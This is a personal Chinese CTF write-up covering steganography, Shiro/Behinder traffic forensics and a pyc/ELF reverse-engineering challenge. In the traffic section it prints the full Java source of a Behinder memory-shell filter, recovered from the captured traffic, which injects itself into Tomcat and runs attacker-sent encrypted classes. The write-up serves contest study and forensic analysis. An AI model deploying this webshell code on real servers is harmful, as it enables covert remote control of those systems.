第十九届 2026 软件系统安全赛华南赛区(CCSSSC2026)个人 Writeup

NOTE

不是,说好不给用网络搜索和 AI 的呢,合着就我们不用是吧,很多常规比赛没听过名字的院校都跑到上面去了

Misc

steganography

给了一个无后缀文件,file 认不出

丢进 010 看一眼,发现可能是 7z 魔术头,但是被篡改

手动压一个 7z 出来看看魔术头,发现前四字节被直接覆写为 FF FF FF FF,改回来

可以打开了,里面有个 layer2.png,拿出来

因为题目说跟隐写有关,所以果断掏出 zsteg,检测一下发现存在 flag.zip

提取出来

$ ~/bin/zsteg -E b1,rgb,lsb,xy layer2.png > flag.zip 

提取出来后发现无法打开

还是扔进 010 看一眼,发现头部被添加 0F 06 00 00 的冗余字节,导致无法识别

直接删掉,能打开了,里面有几个 zip,先解压出来

发现这几个 zip 都有加密,但是 data* 里面的 txt 文件大小都是 4Bytes,可以尝试 CRC 攻击

掏出 ZipCracker,直接用现成的

将所有内容组合起来为 pass is c1!xxtLf%fXYPkaA,拿着密码去解压 flag.zip 成功,得到 flag.txt 文件

打开发现最后列为 13,但是有 348 个字符

说明可能存在零宽隐写,但是去用零宽隐写的工具出不来

下图工具是 https://bili33.top/zerowidth ,特意做成了可以离线运行的东西 https://github.com/GamerNoTitle/ZeroWidth

尝试看看有什么字符

UNIQUE_CHAR = set()

with open("flag/flag.txt", "r", encoding="utf8") as f:
    flag = f.read().strip()
    
for char in flag:
    UNIQUE_CHAR.add(char)

print("Unique characters in the flag:", UNIQUE_CHAR)

发现除了常规的字符只有 \u200b\u200c,可能是 01 编码,尝试一下

UNIQUE_CHAR = set()

with open("flag/flag.txt", "r", encoding="utf8") as f:
    flag = f.read().strip()
    
for char in flag:
    UNIQUE_CHAR.add(char)

print("Unique characters in the flag:", UNIQUE_CHAR)

MAPPING = {
    "\u200b": 0,
    "\u200c": 1,
}

for char in flag:
    if char not in MAPPING: continue
    print(MAPPING[char], end="")

得到 011001000110000101110010011101000111101101100010011001100011010000110001001100000011000001100100001110010010110101100011011000110011100001100100001011010011010000111000011001100011011000101101011000010011000000111001001101010010110100110101001101000110001101100010011001100110000101100100001100010011100000111001011001010011000101111101,用赛博厨子

得到 flag 为 dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}

Traffic_hunt | 赛后出

登录的 rememberMe 字段传的数据流,先提取一手 Cookie

$ tshark -n -r  .\traffic_hunt.pcapng -T fields -Y "tcp.stream eq 5009" -e http.cookie >> cookie.txt

发现有奇怪的 Authorization 头,尝试看看内容

发现是 Base64,直接解码

服务器上存在 shirodemo,结合前面的 rememberMe 应该是 Shiro 的反序列化漏洞

漏洞详情:https://zhuanlan.zhihu.com/p/663598887

解密 rememberMe 的工具:https://github.com/minhangxiaohui/Shiro_RememberMe_Decoder/tree/master

提取出了冰蝎的 class

package com.summersec.x;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;

public final class BehinderFilter extends ClassLoader implements Filter {

    public HttpServletRequest request = null;
    public HttpServletResponse response = null;
    public String cs = "UTF-8";
    public String Pwd = "eac9fa38330a7535";     // behinder 密钥
    public String path = "/favicondemo.ico";    // behinder 提取路径

    public BehinderFilter() {
    }

    public BehinderFilter(ClassLoader c) {
        super(c);
    }

    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }

    public static String md5(String s) {
        String ret = null;

        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
        } catch (Exception var3) {
        }

        return ret;
    }

    public boolean equals(Object obj) {
        this.parseObj(obj);
        this.Pwd = md5(this.request.getHeader("p"));
        this.path = this.request.getHeader("path");
        StringBuffer output = new StringBuffer();
        String tag_s = "->|";
        String tag_e = "|<-";

        try {
            this.response.setContentType("text/html");
            this.request.setCharacterEncoding(this.cs);     // 设置编码方式
            this.response.setCharacterEncoding(this.cs);    // this.cs = UTF-8
            output.append(this.addFilter());
        } catch (Exception var7) {
            output.append("ERROR:// " + var7.toString());
        }

        try {
            this.response.getWriter().print(tag_s + output.toString() + tag_e);
            this.response.getWriter().flush();
            this.response.getWriter().close();
        } catch (Exception var6) {
        }

        return true;
    }

    public void parseObj(Object obj) {
        if (obj.getClass().isArray()) {
            Object[] data = (Object[]) ((Object[]) ((Object[]) obj));
            this.request = (HttpServletRequest) data[0];
            this.response = (HttpServletResponse) data[1];
        } else {
            try {
                Class clazz = Class.forName("javax.servlet.jsp.PageContext");
                this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest").invoke(obj);
                this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse").invoke(obj);
            } catch (Exception var8) {
                if (obj instanceof HttpServletRequest) {
                    this.request = (HttpServletRequest) obj;

                    try {
                        Field req = this.request.getClass().getDeclaredField("request");
                        req.setAccessible(true);
                        HttpServletRequest request2 = (HttpServletRequest) req.get(this.request);
                        Field resp = request2.getClass().getDeclaredField("response");
                        resp.setAccessible(true);
                        this.response = (HttpServletResponse) resp.get(request2);
                    } catch (Exception var7) {
                        try {
                            this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
                        } catch (Exception var6) {
                        }
                    }
                }
            }
        }

    }

    public String addFilter() throws Exception {
        ServletContext servletContext = this.request.getServletContext();
        Filter filter = this;
        String filterName = this.path;
        String url = this.path;
        if (servletContext.getFilterRegistration(filterName) == null) {
            Field contextField = null;
            ApplicationContext applicationContext = null;
            StandardContext standardContext = null;
            Field stateField = null;
            Dynamic filterRegistration = null;

            String var11;
            try {
                contextField = servletContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                applicationContext = (ApplicationContext) contextField.get(servletContext);
                contextField = applicationContext.getClass().getDeclaredField("context");
                contextField.setAccessible(true);
                standardContext = (StandardContext) contextField.get(applicationContext);
                stateField = LifecycleBase.class.getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, LifecycleState.STARTING_PREP);
                filterRegistration = servletContext.addFilter(filterName, filter);
                filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                filterStartMethod.setAccessible(true);
                filterStartMethod.invoke(standardContext, (Object[]) null);
                stateField.set(standardContext, LifecycleState.STARTED);
                var11 = null;

                Class filterMap;
                try {
                    filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                } catch (Exception var22) {
                    filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                }

                Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
                Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext)));

                for (int i = 0; i < filterMaps.length; ++i) {
                    Object filterMapObj = filterMaps[i];
                    findFilterMaps = filterMap.getMethod("getFilterName");
                    String name = (String) findFilterMaps.invoke(filterMapObj);
                    if (name.equalsIgnoreCase(filterName)) {
                        filterMaps[i] = filterMaps[0];
                        filterMaps[0] = filterMapObj;
                    }
                }

                String var25 = "Success";
                String var26 = var25;
                return var26;
            } catch (Exception var23) {
                var11 = var23.getMessage();
            } finally {
                stateField.set(standardContext, LifecycleState.STARTED);
            }

            return var11;
        } else {
            return "Filter already exists";
        }
    }

    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
        HttpSession session = ((HttpServletRequest) req).getSession();
        Object lastRequest = req;
        Object lastResponse = resp;
        Method getResponse;
        if (!(req instanceof RequestFacade)) {
            getResponse = null;

            try {
                getResponse = ServletRequestWrapper.class.getMethod("getRequest");

                for (lastRequest = getResponse.invoke(this.request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
                }
            } catch (Exception var11) {
            }
        }

        try {
            if (!(lastResponse instanceof ResponseFacade)) {
                getResponse = ServletResponseWrapper.class.getMethod("getResponse");

                for (lastResponse = getResponse.invoke(this.response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
                }
            }
        } catch (Exception var10) {
        }

        Map obj = new HashMap();
        obj.put("request", lastRequest);
        obj.put("response", lastResponse);
        obj.put("session", session);

        try {
            session.putValue("u", this.Pwd);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
            (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
        } catch (Exception var9) {
            var9.printStackTrace();
        }

    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
        } catch (Exception var5) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
            return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
        }
    }

    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void destroy() {
    }
}

他这里虽然内置了一个密钥,但是后面有一个从 header 中的 p 获取内容的过程

    public boolean equals(Object obj) {
        this.parseObj(obj);
        this.Pwd = md5(this.request.getHeader("p"));
        this.path = this.request.getHeader("path");
        StringBuffer output = new StringBuffer();
        String tag_s = "->|";
        String tag_e = "|<-";

找到上面的请求,发现 p 为 HWmc2TLDoihdlr0N,算一下真正的密钥

import java.math.BigInteger;
import java.security.MessageDigest;

public class getkey {
    public static void main(String[] args) {
        String ret = null;
        String s = "HWmc2TLDoihdlr0N";
        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(s.getBytes(), 0, s.length());
            ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
        } catch (Exception var3) {
        }

        System.out.println(ret);    // 1f2c8075acd3d118
    }
}

查看 TCP 数据包,尝试以 404225 pkt 为例

用上面找到的 key 发现可以解码

后面有一堆 /favicondemo.ico 的路径请求,已经拿到了密钥,尝试全部提取出来

做一点小清理

from tqdm import tqdm

carrige_mark = True
data = []
tmp = ""

with open("behinder.txt") as f:
    with open("behinder-output.txt", "w") as output:
        for line in tqdm(f.readlines()):
            if carrige_mark and not line.startswith("\n"):  # 开始读入数据
                carrige_mark = False
                tmp += line.strip()
            elif not carrige_mark and line.startswith("\n"):  # 结束读入数据
                carrige_mark = True
                if tmp:
                    data.append(bytes.fromhex("".join(tmp)))
                tmp = ""
            elif not carrige_mark and not line.startswith("\n"):  # 继续读入数据
                tmp += line.strip()
        output.write("\n".join([x.decode() for x in data]))

然后统一解密一下

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad

cipher = AES.new(b'1f2c8075acd3d118', AES.MODE_ECB)
count = 1

data = []


with open("behinder-output.txt") as f:
    for line in f:
        if (not line.startswith("\n")
            and not line.startswith("POST")
            and not line.startswith("Accept")
            and not line.startswith("Referer")
            and not line.startswith("User-Agent")
            and not line.startswith("Content")
            and not line.startswith("Host")
            and not line.startswith("Connection")
            and not line.startswith("Cookie")):
                try:
                    data = line.strip()
                    raw = base64.b64decode(data)
                    dec = cipher.decrypt(raw)
                    with open(f"bout/traffic{count}.class", "wb") as out:
                        out.write(dec)
                    count += 1
                except Exception as e:
                    print("Error processing line:", line[:100])
                    print(e)
            
with open("plaindata.txt", "w") as out:
    out.write("\n".join(data))

with open("plaindata.txt") as f:
    for line in f:
        with open(f"bout/traffic{count}.class", "wb") as out:
            try:
                data = line.strip()
                raw = base64.b64decode(data)
                dec = cipher.decrypt(raw)
                out.write(dec)
                count += 1
            except Exception as e:
                print("Error processing line:", line[:100])
                print(e)

虽然会报 Incorrect Padding 的错误,但是能出来,一共 291 个

没时间看了 lose

赛后

发现文件大小有点不一样

按顺序先看最后几个,发现有 AES KEY => IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=

往后没有 HTTP 通信,可以认为是直接冰蝎 webshell 了,往下追踪 TCP 请求

但是我个人试了 ECB 发现出不来,题目也没有给出 iv,猜测 iv = key[:16] 还是出不来,参考了一下别人的思路

Reference: https://www.iyoroy.cn/archives/260/

是 AES.GCM,了解了一下,GCM 模式下会进行这样的组合

  • 前 12 字节:Nonce,一个唯一的随机数(向量)
  • 后 16 字节:Tag,用于认证,确保数据的准确性
  • 其他:密文

所以这里要把这几个部分给拿出来,得到了这样的代码

import base64
from Crypto.Cipher import AES

AES_MODE = AES.MODE_GCM

key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")
iv = key[:16]

raw = """1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4"""

data = [bytes.fromhex(_) for _ in raw.split("\n")]
for _ in data:
    print(len(_))

for _ in data:
    if len(_) == 4:  # 认为是指令
        continue
    nonce = _[:12]
    tag = _[-16:]
    ciphertext = _[12:-16]
    cipher = AES.new(key, AES_MODE, nonce)
    result = cipher.decrypt_and_verify(ciphertext, tag)
    print(result.decode())

出来的结果为

pwd
/var/tmp
ls
out
echo Congratulations
Congratulations
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
echo bye
bye

这里有一段 echo,直接拿出来,启动赛博厨子,自动识别是 base58 + base64

至此,得到了 flag 为 dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

Reverse

re1

用 IDA 打开给定的文件,发现里面硬编码了一个 pyc,表为 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

直接用 CyberChef 给转一下

保存 pyc 文件,用 file 看一下发现是 python 3.7

直接用 pylingual,反编译得到源码,稍微看一下并加一点注释

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'Payload_To_PixelCode_video.py'
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 2026-01-04 04:02:18 UTC (1767499338)

from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):
    if not os.path.isfile(input_file):
        return None
    file_size = os.path.getsize(input_file)
    binary_string = ''
    with open(input_file, 'rb') as f:
        for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'):
            binary_string += ''.join((f'{byte:08b}' for byte in chunk))
    xor_key = '10101010'    # 异或密钥
    xor_binary_string = ''
    for i in range(0, len(binary_string), 8):
        chunk = binary_string[i:i + 8]  # 每8位为一个像素点
        if len(chunk) == 8:
            chunk_int = int(chunk, 2)   # 转为整数
            key_int = int(xor_key, 2)   # 转为整数
            xor_result = chunk_int ^ key_int    # 进行异或运算
            xor_binary_string += f'{xor_result:08b}'    # 转为二进制字符串并拼接
        else:
            xor_binary_string += chunk
    binary_string = xor_binary_string
    pixels_per_image = width // pixel_size * (height // pixel_size)     # 每一帧的大小
    num_images = math.ceil(len(binary_string) / pixels_per_image)   # 计算需要多少帧来存储所有数据
    frames = []
    for i in tqdm(range(num_images), desc='生成视频帧'):
        start = i * pixels_per_image
        bits = binary_string[start:start + pixels_per_image]
        if len(bits) < pixels_per_image:
            bits = bits + '0' * (pixels_per_image - len(bits))
        img = Image.new('RGB', (width, height), color='white')
        for r in range(height // pixel_size):
            row_start = r * (width // pixel_size)
            row_end = (r + 1) * (width // pixel_size)
            row = bits[row_start:row_end]
            for c, bit in enumerate(row):
                color = (0, 0, 0) if bit == '1' else (255, 255, 255)
                x1, y1 = (c * pixel_size, r * pixel_size)
                img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
        frames.append(np.array(img))
    with imageio.get_writer(output_file, fps=fps, codec='libx264') as writer:
        for frame in tqdm(frames, desc='写入视频帧'):
            writer.append_data(frame)
if __name__ == '__main__':
    input_path = 'payload'
    if os.path.exists(input_path):
        file_to_video(input_path)
    else:
        sys.exit(1)

对着这个编码逻辑写一个恢复脚本

import numpy as np
import imageio


def recover_file(
    video_path: str,
    output_path: str,
    width: int = 640,
    height: int = 480,
    pixel_size: int = 8,
):
    cols = width // pixel_size
    rows = height // pixel_size
    bits_per_frame = cols * rows

    video_processor = imageio.get_reader(video_path)

    metadata = video_processor.get_meta_data()
    frames_per_second = metadata.get("fps", 0)
    total_frames = (
        int(metadata.get("duration", 0) * frames_per_second)
        if frames_per_second > 0
        else None
    )
    print(
        f"Video information:{width}x{height}, {pixel_size}px/block, with {bits_per_frame} bit. Estimated {total_frames} frames."
    )

    bits_collected = []

    for frame in video_processor:  # type: ignore
        if frame.shape[0] != height or frame.shape[1] != width:
            return False

        for r in range(rows):
            for c in range(cols):
                y1 = r * pixel_size  # Block's top-left corner
                y2 = (r + 1) * pixel_size  # Block's bottom-right corner
                x1 = c * pixel_size  # Block's top-left corner
                x2 = (c + 1) * pixel_size  # Block's bottom-right corner
                block = frame[y1:y2, x1:x2]  # Extract the block
                avg_color = np.mean(block)
                bit = "1" if avg_color < 128 else "0"
                bits_collected.append(bit)

    full_bits = "".join(bits_collected)

    xor_key = 0xAA  # 0b10101010
    data = bytearray()
    for i in range(0, len(full_bits), 8):
        byte_str = full_bits[i : i + 8]
        if len(byte_str) < 8:
            break
        byte_val = int(byte_str, 2)
        decrypted = byte_val ^ xor_key
        data.append(decrypted)

    with open(output_path, "wb") as f:
        f.write(data)
    return True


if __name__ == "__main__":
    video = "video.mp4"
    output = "output.bin"
    if recover_file(video, output):
        print("[+] Successfully recovered the file.")
    else:
        print("[-] Failed to recover the file.")

恢复得到 output.bin,用 file 查看发现是 ELF

$ file output.bin                                                                                                   ─╯
output.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3cb79dc409672494afd10da6d1f285238fbdaa34, for GNU/Linux 3.2.0, not stripped

仍旧 IDA 打开,看到有个好像是 md5 的东西

先把它们全部复制出来

运行一下这个程序,提示是单字符 md5

直接写脚本恢复就好了

import hashlib
from string import printable

HASH_MAP = {}

def get_hash_map():
    global HASH_MAP
    if not HASH_MAP:
        for i in printable:
            HASH_MAP[hashlib.md5(i.encode()).hexdigest()] = i

def get_flag():
    with open("hash.txt", "r") as f:
        for line in f:
            hash_value = line.split(";")[1].strip().replace('"', "")
            if hash_value in HASH_MAP:
                print(HASH_MAP[hash_value], end='')
            else:
                print(f"Hash {hash_value} not found in HASH_MAP", end='')
                
            
if __name__ == "__main__":
    get_hash_map()
    get_flag()

运行后得到 flag

$ uv run .\getflag.py
dart{2ab1fb8a-b830-45e7-8830-66c7e3b3e05a}

后记

这次虽然说赛事组比较傻逼,后面去验证了一下,发现上面说的不给用 AI 和网络搜索的通知是发在教师群的,学生群连个参赛手册都没有,很多人根本就不知道有这一条规定(所以还是赛事组的锅

但是这一次比赛了解到了冰蝎流量解密、Shiro 反序列化漏洞利用,还学到了新的 AES.GCM 加密方式的解密手段,还是有点收获的,虽然我们的排名很难进复赛了,那也就这样了吧,反正都看开了 =-=

Comments

留下你的见解与看法吧🎉